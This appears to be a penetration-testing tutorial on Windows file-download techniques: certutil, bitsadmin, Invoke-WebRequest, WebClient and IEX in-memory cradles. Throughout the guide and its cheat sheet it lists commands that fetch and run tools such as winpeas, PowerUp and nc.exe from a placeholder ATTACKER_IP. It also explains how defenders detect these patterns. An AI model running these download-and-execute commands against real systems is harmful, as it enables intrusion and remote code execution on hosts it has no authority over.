Windows Download Methods
When you have a shell on a Windows host and need to pull a file from your attacker box,
Windows ships several built-in downloaders. Knowing more than one matters: AV/EDR and
policy block some of them, older builds lack others, and a non-interactive shell may not
give you a full PowerShell session. This guide collects the reliable options, from
certutil to PowerShell cradles, with notes on availability and detection. It assumes you
are serving the file over HTTP from your box (see http-file-transfer).
You will use these constantly on Windows and Active Directory targets to stage enumerators, binaries, and scripts.
What you will learn#
- The main Windows download commands:
certutil,bitsadmin,iwr,WebClient - The in-memory
IEXcradle for running a.ps1without touching disk - Which method to reach for on old vs new Windows, and in a constrained shell
- How to verify the file and how each method looks to defenders
Legal and scope reminder#
The data you move with these methods should be your own, or data you are authorized to transfer, including test and simulation environments.
Prerequisites#
- A shell on a Windows target with outbound HTTP to your box.
- A file served from your attacker box (
python3 -m http.server 8000in the folder). ATTACKER_IPis your box; everything runs on an authorized Windows target.
The core idea#
Your attacker box serves the file over HTTP. On the target you invoke a built-in Windows utility to fetch it, either to disk or straight into memory. Pick the method by what the box has and what is not blocked.
On your attacker box (serve the file)#
# Serve the folder holding your tools; stop with Ctrl+C when done.
cd ~/labs/box/serve && python3 -m http.server 8000
On the target: certutil#
:: certutil is a certificate tool that can also download; present on Win7/2008+.
certutil -urlcache -f http://ATTACKER_IP:8000/winpeas.exe C:\Windows\Temp\wp.exe
:: -urlcache -f forces a fresh fetch; the file lands at the given path.
certutil is the most universally present option, which is also why EDR flags it loudly.
On the target: bitsadmin#
:: BITS is the background transfer service; works on a wide range of Windows versions.
bitsadmin /transfer job /download /priority normal http://ATTACKER_IP:8000/tool.exe C:\Windows\Temp\tool.exe
Useful when certutil is blocked but BITS is allowed; slower to start.
On the target: PowerShell Invoke-WebRequest#
# Modern, readable; iwr is the alias. -UseBasicParsing helps on older/headless hosts.
iwr http://ATTACKER_IP:8000/tool.exe -OutFile C:\Windows\Temp\tool.exe
Invoke-WebRequest http://ATTACKER_IP:8000/tool.exe -OutFile C:\Windows\Temp\tool.exe -UseBasicParsing
On the target: PowerShell WebClient#
# Works on older PowerShell where iwr is awkward; download to disk:
(New-Object Net.WebClient).DownloadFile('http://ATTACKER_IP:8000/tool.exe','C:\Windows\Temp\tool.exe')
On the target: in-memory cradle (no file on disk)#
# Download a .ps1 and execute it in memory; nothing is written to disk.
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8000/PowerView.ps1')
# Newer style:
iex (iwr http://ATTACKER_IP:8000/PowerView.ps1 -UseBasicParsing).Content
The cradle is how PowerShell tools (PowerView, PowerUp) are usually loaded; it avoids a disk artifact but is prime AMSI / script-block-logging territory.
Verifying the transfer#
Get-FileHash C:\Windows\Temp\tool.exe -Algorithm SHA256
# Compare against the source on your attacker box
sha256sum ~/labs/box/serve/tool.exe
Practical examples#
:: Constrained cmd shell, oldest-compatible path
certutil -urlcache -f http://ATTACKER_IP:8000/nc.exe C:\Windows\Temp\nc.exe
# Full PowerShell session, stage and run a privesc enumerator
iwr http://ATTACKER_IP:8000/winpeas.exe -OutFile $env:TEMP\wp.exe
& $env:TEMP\wp.exe
# Load a PowerShell module straight into the session
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8000/PowerUp.ps1'); Invoke-AllChecks
When to use this method#
- Any Windows target where you have a shell and outbound HTTP.
- Old Windows:
certutil/bitsadmin. Modern with PowerShell:iwr/ cradle. - Constrained
cmd-only shells:certutilorbitsadmin.
When not to use this method#
- When HTTP egress is blocked; use smb-file-transfer or a pivot.
- When you want to stay quiet; these are heavily signatured (see below).
- For large files on a flaky link; BITS resumes, but SMB/SCP may be cleaner.
Common mistakes#
- Forgetting
-foncertutil, so a stale cached copy is used. iwrfailing on old hosts without-UseBasicParsing.- Assuming the cradle ran when AMSI blocked it; check for an error.
- Writing to a non-writable path;
C:\Windows\Tempand%TEMP%are safe bets.
Troubleshooting#
| Problem | Likely cause | Fix |
|---|---|---|
certutil blocked | AV/EDR or policy | Try bitsadmin or PowerShell |
iwr errors on old box | No basic parsing | Add -UseBasicParsing |
| Cradle does nothing | AMSI blocked the load | Expected on modern Windows; note it |
| Access denied writing | Non-writable dir | Use C:\Windows\Temp or $env:TEMP |
| Download truncated | Proxy/egress mangling | Re-download; verify Get-FileHash |
OPSEC and blue-team visibility#
This is the section that matters most. These commands are textbook malware-delivery
patterns and are heavily watched: certutil -urlcache downloading an executable, bitsadmin /transfer, and IEX (New-Object Net.WebClient).DownloadString(...) are classic detections.
PowerShell script-block logging (event 4104) captures cradles, AMSI inspects in-memory
loads, and EDR flags certutil/bitsadmin fetching binaries from non-standard ports.
Defenders alert on exactly these strings. Understanding them is as valuable for building
detections as for staging a tool in a lab.
Safer or lower-noise usage#
- Prefer downloading to disk only what you must, and clean it up afterward.
- For encrypted, authenticated transfer use scp-ssh-transfer if SSH is present.
- Expect and accept that cradles are logged; do not rely on them being quiet.
Methods and tools that pair well#
- http-file-transfer is the serving side these all pull from.
- smb-file-transfer when HTTP is blocked or you need to push loot back.
- base64-transfer when there is no network egress at all.
- winpeas, powerup, powerview are the tools you most often download this way.
- See the file transfer methods tag for every approach.
Quick reference cheat sheet#
:: certutil (most compatible)
certutil -urlcache -f http://ATTACKER_IP:8000/tool.exe C:\Windows\Temp\tool.exe
:: bitsadmin
bitsadmin /transfer j /download /priority normal http://ATTACKER_IP:8000/tool.exe C:\Windows\Temp\tool.exe
# PowerShell to disk
iwr http://ATTACKER_IP:8000/tool.exe -OutFile $env:TEMP\tool.exe -UseBasicParsing
(New-Object Net.WebClient).DownloadFile('http://ATTACKER_IP:8000/tool.exe',"$env:TEMP\tool.exe")
# In-memory cradle (.ps1)
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8000/x.ps1')
# Verify
Get-FileHash $env:TEMP\tool.exe -Algorithm SHA256
Mini decision tree#
- Old Windows / cmd-only:
certutil, elsebitsadmin. - Modern PowerShell, file to disk:
iwr -OutFile. - Run a
.ps1without a disk artifact: theIEXcradle. - HTTP blocked: smb-file-transfer or a pivot.
- No egress: base64-transfer.
Final checklist#
- Target in scope
- Method chosen for the box’s Windows version and shell type
- File written to a writable path and verified with
Get-FileHash - Aware the method is logged; staged files cleaned up
- No real third-party hosts
Final summary#
Windows gives you several built-in downloaders: certutil and bitsadmin for maximum
compatibility, iwr/WebClient for PowerShell, and the IEX cradle to run a script in
memory. Choose by Windows version and shell type, verify with Get-FileHash, and remember
every one of these is a classic detection. Pair with http-file-transfer
on the serving side; see the file transfer methods tag for the rest.